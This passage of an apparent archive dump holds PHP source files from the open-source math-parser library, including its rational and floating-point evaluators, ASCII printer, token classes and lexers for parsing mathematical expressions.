explode('/', $data); if (count($numbers) == 1) { $p = $this->isSignedInteger($numbers[0]) ? intval($numbers[0]) : NAN; $q = 1; } elseif (count($numbers) != 2) { $p = NAN; $q = NAN; } else { $p = $this->isSignedInteger($numbers[0]) ? intval($numbers[0]) : NAN; $q = $this->isInteger($numbers[1]) ? intval($numbers[1]) : NAN; } if (is_nan($p) || is_nan($q)) { throw new \UnexpectedValueException("Expecting rational number"); } return new RationalNode($p, $q); } /** * Update the variables used for evaluating * * @retval void * @param array $variables Key/value pair holding current variable values */ public function setVariables($variables) { $this->variables = []; foreach ($variables as $var => $value) { if ($value instanceof RationalNode) { $this->variables[$var] = $value; } elseif ($this->isInteger($value)) { $this->variables[$var] = new RationalNode(intval($value), 1); } else { $this->variables[$var] = $this->parseRational($value); } } } /** * Evaluate an ExpressionNode * * Computes the value of an ExpressionNode `x op y` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * `+`, `-`, `*`, `/` or `^` * @retval float * @param ExpressionNode $node AST to be evaluated * @throws UnknownOperatorException if the operator is something other than */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $a = $node->getLeft()->accept($this); if ($node->getRight()) { $b = $node->getRight()->accept($this); } else { $b = null; } // Perform the right operation based on the operator switch ($operator) { case '+': $p = $a->getNumerator() * $b->getDenominator() + $a->getDenominator() * $b->getNumerator(); $q = $a->getDenominator() * $b->getDenominator(); return new RationalNode($p, $q); case '-': if ($b === null) { return new RationalNode(-$a->getNumerator(), $a->getDenominator()); } $p = $a->getNumerator() * $b->getDenominator() - $a->getDenominator() * $b->getNumerator(); $q = $a->getDenominator() * $b->getDenominator(); return new RationalNode($p, $q); case '*': $p = $a->getNumerator() * $b->getNumerator(); $q = $a->getDenominator() * $b->getDenominator(); return new RationalNode($p, $q); case '/': if ($b->getNumerator() == 0) { throw new DivisionByZeroException(); } $p = $a->getNumerator() * $b->getDenominator(); $q = $a->getDenominator() * $b->getNumerator(); return new RationalNode($p, $q); case '^': return $this->rpow($a, $b); default: throw new UnknownOperatorException($operator); } } /** * Evaluate a NumberNode * * Retuns the value of an NumberNode * * @retval float * @param NumberNode $node AST to be evaluated */ public function visitNumberNode(NumberNode $node) { throw new \UnexpectedValueException("Expecting rational number"); } public function visitIntegerNode(IntegerNode $node) { return new RationalNode($node->getValue(), 1); } public function visitRationalNode(RationalNode $node) { return $node; } /** * Evaluate a VariableNode * * Returns the current value of a VariableNode, as defined * either by the constructor or set using the `Evaluator::setVariables()` method. * * VariableNode is *not* set. * @retval float * @see Evaluator::setVariables() to define the variables * * @param VariableNode $node AST to be evaluated * @throws UnknownVariableException if the variable respresented by the */ public function visitVariableNode(VariableNode $node) { $name = $node->getName(); if (array_key_exists($name, $this->variables)) { return $this->variables[$name]; } throw new UnknownVariableException($name); } /** * Evaluate a FunctionNode * * Computes the value of a FunctionNode `f(x)`, where f is * an elementary function recognized by StdMathLexer and StdMathParser. * * FunctionNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param FunctionNode $node AST to be evaluated * @throws UnknownFunctionException if the function respresented by the */ public function visitFunctionNode(FunctionNode $node) { $inner = $node->getOperand()->accept($this); switch ($node->getName()) { // Trigonometric functions case 'sin': case 'cos': case 'tan': case 'cot': case 'arcsin': case 'arccos': case 'arctan': case 'arccot': case 'exp': case 'log': case 'ln': case 'lg': case 'sinh': case 'cosh': case 'tanh': case 'coth': case 'arsinh': case 'arcosh': case 'artanh': case 'arcoth': throw new \UnexpectedValueException("Expecting rational expression"); case 'abs': return new RationalNode(abs($inner->getNumerator()), $inner->getDenominator()); case 'sgn': if ($inner->getNumerator() >= 0) { return new RationalNode(1, 0); } else { return new RationalNode(-1, 0); } // Powers case 'sqrt': return $this->rpow($inner, new RationalNode(1, 2)); case '!': if ($inner->getDenominator() == 1 && $inner->getNumerator() >= 0) { return new RationalNode(Math::Factorial($inner->getNumerator()), 1); } throw new \UnexpectedValueException("Expecting positive integer (factorial)"); case '!!': if ($inner->getDenominator() == 1 && $inner->getNumerator() >= 0) { return new RationalNode(Math::SemiFactorial($inner->getNumerator()), 1); } throw new \UnexpectedValueException("Expecting positive integer (factorial)"); default: throw new UnknownFunctionException($node->getName()); } } /** * Evaluate a ConstantNode * * Returns the value of a ConstantNode recognized by StdMathLexer and StdMathParser. * * ConstantNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param ConstantNode $node AST to be evaluated * @throws UnknownConstantException if the variable respresented by the */ public function visitConstantNode(ConstantNode $node) { switch ($node->getName()) { case 'pi': case 'e': case 'i': case 'NAN': case 'INF': throw new \UnexpectedValueException("Expecting rational number"); default: throw new UnknownConstantException($node->getName()); } } /** * Private cache for prime sieve * * @var array int $sieve * */ private static $sieve = []; /** * Integer factorization * * Computes an integer factorization of $n using * trial division and a cached sieve of computed primes * * @param type var Description */ public static function ifactor($n) { // max_n = 2^31-1 = 2147483647 $d = 2; $factors = []; $dmax = floor(sqrt($n)); self::$sieve = array_pad(self::$sieve, $dmax, 1); do { $r = false; while ($n % $d == 0) { if (array_key_exists($d, $factors)) { $factors[$d]++; } else { $factors[$d] = 1; } $n /= $d; $r = true; } if ($r) { $dmax = floor(sqrt($n)); } if ($n > 1) { for ($i = $d; $i <= $dmax; $i += $d) { self::$sieve[$i] = 0; } do { $d++; } while ($d < $dmax && self::$sieve[$d] != 1); if ($d > $dmax) { if (array_key_exists($n, $factors)) { $factors[$n]++; } else { $factors[$n] = 1; } } } } while ($n > 1 && $d <= $dmax); return $factors; } /** * Compute a power free integer factorization: n = pq^d, * where p is d-power free. * * The function returns an array: * [ * 'square' => q, * 'nonSquare' => p * ] * * @param int $n input */ public static function powerFreeFactorization($n, $d) { $factors = self::ifactor($n); $square = 1; $nonSquare = 1; foreach ($factors as $prime => $exponent) { $remainder = $exponent % $d; if ($remainder != 0) { $reducedExponent = ($exponent - $remainder) / $d; $nonSquare *= $prime; } else { $reducedExponent = $exponent / $d; } $square *= pow($prime, $reducedExponent); } return ['square' => $square, 'nonSquare' => $nonSquare]; } private function rpow($a, $b) { if ($b->getDenominator() == 1) { $n = $b->getNumerator(); if ($n >= 0) { return new RationalNode(pow($a->getNumerator(), $n), pow($a->getDenominator(), $n)); } else { return new RationalNode(pow($a->getDenominator(), -$n), pow($a->getNumerator(), -$n)); } } if ($a->getNumerator() < 0) { throw new \UnexpectedValueException("Expecting rational number"); } $p = $a->getNumerator(); $q = $a->getDenominator(); $alpha = $b->getNumerator(); $beta = $b->getDenominator(); if ($alpha < 0) { $temp = $p; $p = $q; $q = $temp; $alpha = -$alpha; } $pp = pow($p, $alpha); $qq = pow($q, $alpha); $ppFactors = self::powerFreeFactorization($pp, $beta); $qqFactors = self::powerFreeFactorization($qq, $beta); if ($ppFactors['nonSquare'] == 1 && $qqFactors['nonSquare'] == 1) { return new RationalNode($ppFactors['square'], $qqFactors['square']); } throw new \UnexpectedValueException("Expecting rational number"); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/ASCIIPrinter.php000064400000015527147600365160025625 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Exceptions\UnknownConstantException; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Lexing\StdMathLexer; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Create LaTeX code for prettyprinting a mathematical expression * (for example via MathJax) * * Implementation of a Visitor, transforming an AST into a string * giving LaTeX code for the expression. * * The class in general does *not* generate the best possible LaTeX * code, and needs more work to be used in a production setting. * * ## Example: * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * printer = new LaTeXPrinter(); * result = $f->accept($printer); // Generates "e^{2x}+xy" * ~~~ * * Note that surrounding `$`, `$$` or `\begin{equation}..\end{equation}` * has to be added manually. * */ class ASCIIPrinter implements Visitor { /** * StdMathLexer $lexer */ private $lexer; /** * Constructor. Create an ASCIIPrinter. */ public function __construct() { $this->lexer = new StdMathLexer(); } /** * Generate ASCII output code for an ExpressionNode * * Create a string giving ASCII output representing an ExpressionNode `(x op y)` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * * @retval string * @param ExpressionNode $node AST to be typeset */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $left = $node->getLeft(); $right = $node->getRight(); switch ($operator) { case '+': $leftValue = $left->accept($this); $rightValue = $this->parenthesize($right, $node); return "$leftValue+$rightValue"; case '-': if ($right) { // Binary minus $leftValue = $left->accept($this); $rightValue = $this->parenthesize($right, $node); return "$leftValue-$rightValue"; } else { // Unary minus $leftValue = $this->parenthesize($left, $node); return "-$leftValue"; } case '*': case '/': $leftValue = $this->parenthesize($left, $node, '', false); $rightValue = $this->parenthesize($right, $node, '', true); return "$leftValue$operator$rightValue"; case '^': $leftValue = $this->parenthesize($left, $node, '', true); $rightValue = $this->parenthesize($right, $node, '', false); return "$leftValue$operator$rightValue"; } } public function visitNumberNode(NumberNode $node) { $val = $node->getValue(); return "$val"; } public function visitIntegerNode(IntegerNode $node) { $val = $node->getValue(); return "$val"; } public function visitRationalNode(RationalNode $node) { $p = $node->getNumerator(); $q = $node->getDenominator(); if ($q == 1) { return "$p"; } //if ($p < 1) return "($p/$q)"; return "$p/$q"; } public function visitVariableNode(VariableNode $node) { return (string) ($node->getName()); } private function visitFactorialNode(FunctionNode $node) { $functionName = $node->getName(); $op = $node->getOperand(); $operand = $op->accept($this); // Add parentheses most of the time. if ($op instanceof NumberNode || $op instanceof IntegerNode || $op instanceof RationalNode) { if ($op->getValue() < 0) { $operand = "($operand)"; } } elseif ($op instanceof VariableNode || $op instanceof ConstantNode) { // Do nothing } else { $operand = "($operand)"; } return "$operand$functionName"; } public function visitFunctionNode(FunctionNode $node) { $functionName = $node->getName(); if ($functionName == '!' || $functionName == '!!') { return $this->visitFactorialNode($node); } $operand = $node->getOperand()->accept($this); return "$functionName($operand)"; } public function visitConstantNode(ConstantNode $node) { switch ($node->getName()) { case 'pi': return 'pi'; case 'e': return 'e'; case 'i': return 'i'; case 'NAN': return 'NAN'; case 'INF': return 'INF'; default:throw new UnknownConstantException($node->getName()); } } public function parenthesize(Node $node, ExpressionNode $cutoff, $prepend = '', $conservative = false) { $text = $node->accept($this); if ($node instanceof ExpressionNode) { // Second term is a unary minus if ($node->getOperator() == '-' && $node->getRight() == null) { return "($text)"; } if ($cutoff->getOperator() == '-' && $node->lowerPrecedenceThan($cutoff)) { return "($text)"; } if ($conservative) { // Add parentheses more liberally for / and ^ operators, // so that e.g. x/(y*z) is printed correctly if ($cutoff->getOperator() == '/' && $node->lowerPrecedenceThan($cutoff)) { return "($text)"; } if ($cutoff->getOperator() == '^' && $node->getOperator() == '^') { return "($text)"; } } if ($node->strictlyLowerPrecedenceThan($cutoff)) { return "($text)"; } } if (($node instanceof NumberNode || $node instanceof IntegerNode || $node instanceof RationalNode) && $node->getValue() < 0) { return "($text)"; } // Treat rational numbers as divisions on printing if ($node instanceof RationalNode && $node->getDenominator() != 1) { $fakeNode = new ExpressionNode($node->getNumerator(), '/', $node->getDenominator()); if ($fakeNode->lowerPrecedenceThan($cutoff)) { return "($text)"; } } return "$prepend$text"; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Interpreting/Evaluator.php000064400000023441147600365160025365 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL */ namespace MathParser\Interpreting; use MathParser\Exceptions\DivisionByZeroException; use MathParser\Exceptions\UnknownConstantException; use MathParser\Exceptions\UnknownFunctionException; use MathParser\Exceptions\UnknownOperatorException; use MathParser\Exceptions\UnknownVariableException; use MathParser\Extensions\Math; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Lexer\StdMathLexer; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Nodes\VariableNode; /** * Evalutate a parsed mathematical expression. * * Implementation of a Visitor, transforming an AST into a floating * point number, giving the *value* of the expression represented by * the AST. * * The class implements evaluation of all all arithmetic operators * as well as every elementary function and predefined constant recognized * by StdMathLexer and StdmathParser. * * ## Example: * ~~~{.php} * $parser = new StdMathParser(); * $f = $parser->parse('exp(2x)+xy'); * $evaluator = new Evaluator(); * $evaluator->setVariables([ 'x' => 1, 'y' => '-1' ]); * result = $f->accept($evaluator); // Evaluate $f using x=1, y=-1 * ~~~ * * TODO: handle user specified functions * */ class Evaluator implements Visitor { /** * mixed[] $variables Key/value pair holding current values * of the variables used for evaluating. * */ private $variables; /** * Constructor. Create an Evaluator with given variable values. * * @param mixed $variables key-value array of variables with corresponding values. */ public function __construct($variables = []) { $this->variables = $variables; } /** * Update the variables used for evaluating * * @retval void * @param array $variables Key/value pair holding current variable values */ public function setVariables($variables) { $this->variables = $variables; } /** * Evaluate an ExpressionNode * * Computes the value of an ExpressionNode `x op y` * where `op` is one of `+`, `-`, `*`, `/` or `^` * * `+`, `-`, `*`, `/` or `^` * @retval float * @param ExpressionNode $node AST to be evaluated * @throws UnknownOperatorException if the operator is something other than */ public function visitExpressionNode(ExpressionNode $node) { $operator = $node->getOperator(); $leftValue = $node->getLeft()->accept($this); if ($node->getRight()) { $rightValue = $node->getRight()->accept($this); } else { $rightValue = null; } // Perform the right operation based on the operator switch ($operator) { case '+': return $leftValue + $rightValue; case '-': return $rightValue === null ? -$leftValue : $leftValue - $rightValue; case '*': return $rightValue * $leftValue; case '/': if ($rightValue == 0) { throw new DivisionByZeroException(); } return $leftValue / $rightValue; case '^': // Check for base equal to M_E, to take care of PHP's strange // implementation of pow, where pow(M_E, x) is not necessarily // equal to exp(x). if ($leftValue == M_E) { return exp($rightValue); } else { return pow($leftValue, $rightValue); } default: throw new UnknownOperatorException($operator); } } /** * Evaluate a NumberNode * * Retuns the value of an NumberNode * * @retval float * @param NumberNode $node AST to be evaluated */ public function visitNumberNode(NumberNode $node) { return $node->getValue(); } public function visitIntegerNode(IntegerNode $node) { return $node->getValue(); } public function visitRationalNode(RationalNode $node) { return $node->getValue(); } /** * Evaluate a VariableNode * * Returns the current value of a VariableNode, as defined * either by the constructor or set using the `Evaluator::setVariables()` method. * * VariableNode is *not* set. * @retval float * @see Evaluator::setVariables() to define the variables * * @param VariableNode $node AST to be evaluated * @throws UnknownVariableException if the variable respresented by the */ public function visitVariableNode(VariableNode $node) { $name = $node->getName(); if (array_key_exists($name, $this->variables)) { return $this->variables[$name]; } throw new UnknownVariableException($name); } /** * Evaluate a FunctionNode * * Computes the value of a FunctionNode `f(x)`, where f is * an elementary function recognized by StdMathLexer and StdMathParser. * * FunctionNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param FunctionNode $node AST to be evaluated * @throws UnknownFunctionException if the function respresented by the */ public function visitFunctionNode(FunctionNode $node) { $inner = $node->getOperand()->accept($this); switch ($node->getName()) { // Trigonometric functions case 'sin': return sin($inner); case 'cos': return cos($inner); case 'tan': return tan($inner); case 'cot': $tan_inner = tan($inner); if ($tan_inner == 0) { return NAN; } return 1 / $tan_inner; // Trigonometric functions, argument in degrees case 'sind': return sin(deg2rad($inner)); case 'cosd': return cos(deg2rad($inner)); case 'tand': return tan(deg2rad($inner)); case 'cotd': $tan_inner = tan(deg2rad($inner)); if ($tan_inner == 0) { return NAN; } return 1 / $tan_inner; // Inverse trigonometric functions case 'arcsin': return asin($inner); case 'arccos': return acos($inner); case 'arctan': return atan($inner); case 'arccot': return pi() / 2 - atan($inner); // Exponentials and logarithms case 'exp': return exp($inner); case 'log': case 'ln': return log($inner); case 'lg': return log10($inner); // Powers case 'sqrt': return sqrt($inner); // Hyperbolic functions case 'sinh': return sinh($inner); case 'cosh': return cosh($inner); case 'tanh': return tanh($inner); case 'coth': $tanh_inner = tanh($inner); if ($tanh_inner == 0) { return NAN; } return 1 / $tanh_inner; // Inverse hyperbolic functions case 'arsinh': return asinh($inner); case 'arcosh': return acosh($inner); case 'artanh': return atanh($inner); case 'arcoth': return atanh(1 / $inner); case 'abs': return abs($inner); case 'sgn': return $inner >= 0 ? 1 : -1; case '!': $logGamma = Math::logGamma(1 + $inner); return exp($logGamma); case '!!': if (round($inner) != $inner) { throw new \UnexpectedValueException("Expecting positive integer (semifactorial)"); } return Math::SemiFactorial($inner); // Rounding functions case 'round': return round($inner); case 'floor': return floor($inner); case 'ceil': return ceil($inner); default: throw new UnknownFunctionException($node->getName()); } } /** * Evaluate a ConstantNode * * Returns the value of a ConstantNode recognized by StdMathLexer and StdMathParser. * * ConstantNode is *not* recognized. * @retval float * @see \MathParser\Lexer\StdMathLexer StdMathLexer * @see \MathParser\StdMathParser StdMathParser * * @param ConstantNode $node AST to be evaluated * @throws UnknownConstantException if the variable respresented by the */ public function visitConstantNode(ConstantNode $node) { switch ($node->getName()) { case 'pi': return M_PI; case 'e': return exp(1); case 'NAN': return NAN; case 'INF': return INF; default: throw new UnknownConstantException($node->getName()); } } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/Token.php000064400000011371147600365160023256 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Lexing; use MathParser\Lexing\TokenType; use MathParser\Lexing\TokenPrecedence; use MathParser\Lexing\TokenAssociativity; /** * Token class * * Class to handle tokens, i.e. discrete pieces of the input string * that has specific meaning. * */ class Token { /** string $value (Standadized) value of token. */ private $value; /** int $type Token type as defined in TokenType class */ private $type; /** string $match The actual string matched in the input. */ private $match; /** * Public constructor * * Create a token with a given value and type, as well * as an optional 'match' which is the actual character string * matching the token definition. Most of the time, $value * and $match are the same, but in order to handle token synonyms, * they may be different. * * As an example illustrating the above, the natural logarithm can * be denoted ln() as well as log(). In order to standardize the * token list, both inputs might generate a token with value 'log' and * type TokenType::FunctionName, but the match parameter will be the * actual string matched, i.e. 'log' and 'ln', respectively, so that * the token knows its own length so that the rest of the input string * will be handled correctly. * * @param string $value Standardized value of Token * @param int $type Token type, as defined by the TokenType class * @param string $match Optional actual match in the input string */ public function __construct($value, $type, $match=null) { $this->value = $value; $this->type = $type; $this->match = $match ? $match : $value; } /** * @property length * Length of the input string matching the token. * * @retval int length of string matching the token. */ public function length() { return strlen($this->match); } /** * @property getValue * Standarized value/name of the Token, usually the same as * what was matched in the the input string. * * @retval string value of token */ public function getValue() { return $this->value; } /** * @property getType * Returns the type of the token, as defined in the TokenType class. * * @retval int token type (as defined by TokenType) */ public function getType() { return $this->type; } /** * Helper function, converting the Token to a printable string. * * @retval string */ public function __toString() { return "Token: [$this->value, $this->type]"; } /** * Helper function, determining whether a pair of tokens * can form an implicit multiplication. * * Mathematical shorthand writing often leaves out explicit multiplication * symbols, writing "2x" instead of "2*x" or "2 \cdot x". The parser * accepts implicit multiplication if the first token is a nullary operator * or a a closing parenthesis, and the second token is a nullary operator * or an opening parenthesis. (Unless the first token is a a function name, * and the second is an opening parentheis.) * * @retval boolean */ public static function canFactorsInImplicitMultiplication($token1, $token2) { if ($token1 === null || $token2 === null) return false; $check1 = ( $token1->type == TokenType::PosInt || $token1->type == TokenType::Integer || $token1->type == TokenType::RealNumber || $token1->type == TokenType::Constant || $token1->type == TokenType::Identifier || $token1->type == TokenType::FunctionName || $token1->type == TokenType::CloseParenthesis || $token1->type == TokenType::FactorialOperator || $token1->type == TokenType::SemiFactorialOperator ); if (!$check1) return false; $check2 = ( $token2->type == TokenType::PosInt || $token2->type == TokenType::Integer || $token2->type == TokenType::RealNumber || $token2->type == TokenType::Constant || $token2->type == TokenType::Identifier || $token2->type == TokenType::FunctionName || $token2->type == TokenType::OpenParenthesis ); if (!$check2) return false; if ($token1->type == TokenType::FunctionName && $token2->type == TokenType::OpenParenthesis) return false; return true; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/TokenDefinition.php000064400000006261147600365160025271 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Lexing; use MathParser\Lexing\TokenAssociativity; /** * Token definitions using regular expressions to match input * * To get the Lexer to recognize tokens, they need to be defined. This is * the task of the TokenDefinition class. Each TokenDefinition consists of * a regular expression used to match the input string, a corresponding * token type and an optional token value (making it possible to standarize * the token value for synonyms, e.g. both ln and log can be tokenized into the * same token with value 'log'.) * * ### Example usage (excerpt from StdMathLexer): * * ~~~{.php} * $lexer = new Lexer(); * $lexer->add(new TokenDefinition('/\d+\.\d+/', TokenType::RealNumber)); * $lexer->add(new TokenDefinition('/\d+/', TokenType::PosInt)); * $lexer->add(new TokenDefinition('/sin/', TokenType::FunctionName)); * $lexer->add(new TokenDefinition('/arcsin|asin/', TokenType::FunctionName, 'arcsin')); * $lexer->add(new TokenDefinition('/\+/', TokenType::AdditionOperator)); * $lexer->add(new TokenDefinition('/\-/', TokenType::SubtractionOperator)); * ~~~ */ class TokenDefinition { /** string $pattern Regular expression defining the rule for matching a token. */ private $pattern; /** string $value Standarized value of token */ private $value; /** inst $tokenType Type of token, as defined in TokenType class. */ private $tokenType; /** Constructor. Create a TokenDefinition with given pattern and type. */ public function __construct($pattern, $tokenType, $value=null) { $this->pattern = $pattern; $this->value = $value; $this->tokenType = $tokenType; } /** * Try to match the given input to the current TokenDefinition. * * @param string $input Input string * @retval Token|null Token matching the regular expression defining the TokenDefinition */ public function match($input) { // Match the input with the regex pattern, storing any match found into the $matches variable, // along with the index of the string at which it was matched. $result = preg_match($this->pattern, $input, $matches, PREG_OFFSET_CAPTURE); // preg_match returns false if an error occured if ($result === false) throw new \Exception(preg_last_error()); // 0 means no match was found if ($result === 0) return null; return $this->getTokenFromMatch($matches[0]); } /** * Convert matching string to an actual Token. * * @param string $match Matching text. * @retval Token Corresponding token. */ private function getTokenFromMatch($match) { $value = $match[0]; $offset = $match[1]; // If we don't match at the beginning of the string, it fails. if ($offset !== 0) return null; if ($this->value) $value = $this->value; return new Token($value, $this->tokenType, $match[0]); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/Lexer.php000064400000010440147600365160023251 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** * @namespace MathParser::Lexing * Lexer and Token related classes. * * [Lexical analysis](https://en.wikipedia.org/wiki/Lexical_analysis) * or *lexing* is the process of converting an input string into a sequence * of tokens, representing discrete parts of the input each carrying certain meaning. * */ namespace MathParser\Lexing; use MathParser\Exceptions\UnknownTokenException; /** * Generic very simple lexer, capable of matching tokens defined by regular expressions. * * The Lexer works on an input string, sequentially building a list of matched * Tokens (or throwing an Exception if the input string cannot be tokenized). * * The Lexer is context independent and without lookahead, and cannot for * example distinguish between `-` used as a binary subtraction operation * or as a unary negation. This is handled by the parser. * * Tokens are added to the Lexer as TokenDefinition instances, and are saved in * an ordered list. Hence some care has to be taken when defining the Lexer (see * the implementation of StdMathLexer). For example, if we want the lexer to * recognize `sin` as well as `sinh` as separate tokens, the more specific `sinh` * pattern should be added to the Lexer *before* `sin`. */ class Lexer { /** * TokenDefinition[] $tokenDefinition list of tokens recognized by the Lexer. */ private $tokenDefinitions = []; /** * Add a Token to the list of tokens recognized by the Lexer. * * Adds the supplied TokenDefinition at the end of the list of known * tokens. * * @retval void * @param TokenDefinition $tokenDefinition token to add to the list of known tokens. */ public function add(TokenDefinition $tokenDefinition) { $this->tokenDefinitions[] = $tokenDefinition; } /** * Convert an input string to a list of tokens. * * Using the list of knowns tokens, sequentially match the input string to * known tokens. Note that the first matching token from the list is chosen, * so if there are tokens sharing parts of the pattern (e.g. `sin` and `sinh`), * care should be taken to add `sinh` before `sin`, otherwise the lexer will * never match a `sinh`. * * @retval Token[] sequence of recognized tokens * that doesn't match any knwon token. * @param string $input String to tokenize. * @throws UnknownTokenException throwns when encountering characters in the input string */ public function tokenize($input) { // The list of tokens we'll eventually return $tokens = []; // The currentIndex indicates where we are inside the input string $currentIndex = 0; while ($currentIndex < strlen($input)) { // We try to match only what is after the currentIndex, // as the content before is already converted to tokens $token = $this->findMatchingToken(substr($input, $currentIndex)); // If no tokens were matched, it means that the string has invalid tokens // for which we did not define a token definition if (!$token) { throw new UnknownTokenException(substr($input, $currentIndex)); } // Add the matched token to our list of token $tokens[] = $token; // Increment the string index by the lenght of the matched token, // so we can now process the rest of the string. $currentIndex += $token->length(); } return $tokens; } /** * Find a matching token at the begining of the provided input. * * @retval Token|null Matched token * @param string $input */ private function findMatchingToken($input) { // Check with all tokenDefinitions foreach ($this->tokenDefinitions as $tokenDefinition) { $token = $tokenDefinition->match($input); // Return the first token that was matched. if ($token) { return $token; } } // Return null if no tokens were matched. return null; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/TokenType.php000064400000004535147600365160024124 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Lexing; /** * Token type values * * Currently, the following token types are available * * * PosInt * * Integer * * RealNumber * * Identifier * * OpenParenthesis * * CloseParenthesis * * UnaryMinus * * AdditionOperator * * SubtractionOperator * * MultiplicationOperator * * DivisionOperator * * ExponentiationOperator * * FunctionName * * Constant * * Terminator * * Whitespace * * Sentinel * */ final class TokenType { /** Token representing a positive integer */ const PosInt = 1; /** Token representing a (not necessarily positive) integer */ const Integer = 2; /** Token representing a floating point number */ const RealNumber = 3; /** Token representing an identifier, i.e. a variable name. */ const Identifier = 20; /** Token representing an opening parenthesis, i.e. '(' */ const OpenParenthesis = 31; /** Token representing a closing parenthesis, i.e. ')' */ const CloseParenthesis = 32; /** Token representing a unary minus. Not used. This is the responsibility of the Parser */ const UnaryMinus = 99; /** Token representing '+' */ const AdditionOperator = 100; /** Token representing '-' */ const SubtractionOperator = 101; /** Token representing '*' */ const MultiplicationOperator = 102; /** Token representing '/' */ const DivisionOperator = 103; /** Token representing '^' */ const ExponentiationOperator = 104; /** Token representing postfix factorial operator '!' */ const FactorialOperator = 105; /** Token representing postfix subfactorial operator '!!' */ const SemiFactorialOperator = 105; /** Token represented a function name, e.g. 'sin' */ const FunctionName = 200; /** Token represented a known constant, e.g. 'pi' */ const Constant = 300; /** Token representing a terminator, e.g. ';'. Currently not used. */ const Terminator = 998; /** Token representing white space, e.g. spaces and tabs. */ const Whitespace = 999; /** Token representing a senitinel, for internal used in the Parser. Not used. */ const Sentinel = 1000; } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Lexing/ComplexLexer.php000064400000013245147600365160024607 0ustar00 * @copyright 2016 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Lexing; use MathParser\Lexing\Lexer; use MathParser\Lexing\TokenDefinition; use MathParser\Lexing\TokenType; /** * Lexer capable of recognizing all standard complex mathematical expressions. * * Subclass of the generic Lexer, with TokenDefinition patterns for * numbers, elementary functions, arithmetic operations and variables. * * ### Recognized tokens * * `/\~?\d+/` matching integers matching * `/sqrt/` matching square root function * `/sinh/` matching hyperbolic sine * `/cosh/` matching hyperbolic cosine * `/tanh/` matching hyperbolic tangent * `/coth/` matching hyperbolic cotangent * `/sin/` matching sine * `/cos/` matching cosine * `/tan/` matching tangent * `/cot/` matching cotangent * `/arsinh|arcsinh|asinh/` matching inverse hyperbolic sine * `/arcosh|arccosh|acosh/` matching inverse hyperbolic cosine * `/artanh|arctanh|atanh/` matching inverse hyperbolic tangent * `/arcoth|arccoth|acoth/` matching inverse hyperbolic cotangent * `/arcsin|asin/` matching inverse sine * `/arccos|acos/` matching inverse cosine * `/arctan|atan/` matching inverse tangent * `/arccot|acot/` matching inverse cotangent * `/exp/` matching exponential function * `/log10|lg/` matching logarithm (base 10) * `/log|ln/` matching natural logarithm * '/abs/' matching modulus (absolute value) * '/arg/' matching (principal) argument * '/conj/' matching conjugate * '/re/' matching real part * '/im/' matching imaginary part * `/\(/` matching opening parenthesis (both as delimiter and function evaluation) * `/\)/` matching closing parenthesisis (both as delimiter and function evaluation) * `/\+/` matching + for addition (or unary +) * `/\-/` matching - for subtraction (or unary -) * `/\* /` matching * for multiplication * `/\//` matching / for division * `/\^/` matching ^ for exponentiation * `/pi/` matching constant pi * `/e/` matching constant e * `/i/` matching imaginary unit i * `/[a-zA-Z]/` matching variables (note that we only allow single letter identifiers, * this improves parsing of implicit multiplication) * `/\n/` matching newline * `/\s+/` matching whitespace */ class ComplexLexer extends Lexer { public function __construct() { $this->add(new TokenDefinition('/\d+[,\.]\d+/', TokenType::RealNumber)); $this->add(new TokenDefinition('/\d+/', TokenType::PosInt)); $this->add(new TokenDefinition('/sqrt/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sinh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cosh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/tanh/', TokenType::FunctionName)); $this->add(new TokenDefinition('/coth/', TokenType::FunctionName)); $this->add(new TokenDefinition('/sin/', TokenType::FunctionName)); $this->add(new TokenDefinition('/cos/', TokenType::FunctionName)); $this->add(new TokenDefinition('/tan/', TokenType::FunctionName)); 